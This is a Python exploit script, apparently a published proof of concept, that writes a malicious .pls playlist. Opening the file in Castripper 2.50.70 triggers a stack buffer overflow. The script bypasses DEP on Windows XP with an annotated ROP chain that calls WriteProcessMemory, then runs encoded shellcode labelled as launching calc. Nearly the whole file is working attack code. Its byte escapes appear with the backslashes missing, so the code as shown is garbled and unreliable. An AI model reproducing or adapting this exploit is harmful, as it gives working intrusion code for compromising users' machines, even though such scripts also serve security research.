#!/usr/bin/python
#
# Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit
# Author: mr_me - https://net-ninja.net - mr_me [AT] corelan.be
# Download: http://www.mini-stream.net/castripper/ 
# Tested on Wind0ws XP SP3 /noexecute=alwayson  
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
# 
# DEP AlwaysOn bypass version 
# All rop gadgets are from the app's dll except for the hardcoded wpm()
# and the 'XCHG EAX,EBX' which is from ntdll.dll (non aslr). 
# Thanks again to Sud0 and Lincoln for the motivation, you guys rock

def banner():  
    print "|------------------------------------------------------------------|"  
    print "|                         __               __                      |"  
    print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"  
    print "|  / ___/ __ / ___/ _ / / __ `/ __    / __/ _ / __ `/ __ `__  |"  
    print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"  
    print "| ___/____/_/   ___/_/__,_/_/ /_/   __/___/__,_/_/ /_/ /_/  |"  
    print "|                                                                  |"      
    print "|-------------------------------------------------[ EIP Hunters ]--|"  
    print "[+] Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit"  

# calc
sc = ("x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49"
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56"
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41"
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42"
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a"
"x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47"
"x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c"
"x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a"
"x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46"
"x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45"
"x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c"
"x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c"
"x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44"
"x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c"
"x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46"
"x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50"
"x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44"
"x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45"
"x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43"
"x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b"
"x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43"
"x51x42x4cx42x43x43x30x41x41"); 

crash = "x41" * 26065

rop = "x0dx0ex01x10"	# MOV EAX,EDX # POP EDI # RETN						: 0x10010E0D
rop += "x41x41x41x41"	# JUNK ---------^^^^
rop += "x41x41x41x41"	# JUNK ---------^^^^

# get the shellcode len argv
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304
rop += "x04x33x01x10"	# ADD EAX,-33 # RETN								: 0x10013304

# close your eyes and think of the magic
rop += "x27xd1x9ex7c"	# XCHG EAX,EBX # JUNK # POP ESI # POP EBP # RETN 4	: 0x7C9ED127
rop += "xffxffxffxff"	# -1 for hProcess
rop += "xcfx22x80x7c"	# @ to patch in kernel32.dll						: 0x7C8022CF
rop += "xadx0bx01x10"	# POP EDI # RETN 									: 0x10010BAD
rop += "x41x41x41x41"	# JUNK --------------------------------------^^^^
rop += "x13xebx02x10"	# CALL EAX # JUNK									: 0x1002EB13
rop += "xebx87x01x10"	# POP EBP # RETN									: 0x100187EB
rop += "xcfx22x80x7c"	# @ to patch in kernel32.dll						: 0x7C8022CF
rop += "xf7x43x02x10"	# POP EDX # RETN									: 0x100243F7
rop += "x44x9fx04x10"	# @ that is writeable 								: 0x10049F44
rop += "x19x53x02x10"	# POP EAX # RETN									: 0x10025319
rop += "x13x22x80x7c"	# @ of WriteProcessMemory()							: 0x7C802213
rop += "xbdxe3x01x10"	# PUSHAD # RETN										: 0x1001E3BD

junk = "x43" * 1000
buffer = crash + rop + sc + junk
banner()
print "[+] building .pls file.."
m3ufile = open('cst-tryharder.pls','w')
m3ufile.write(buffer)
m3ufile.close()
print "[+] Done !"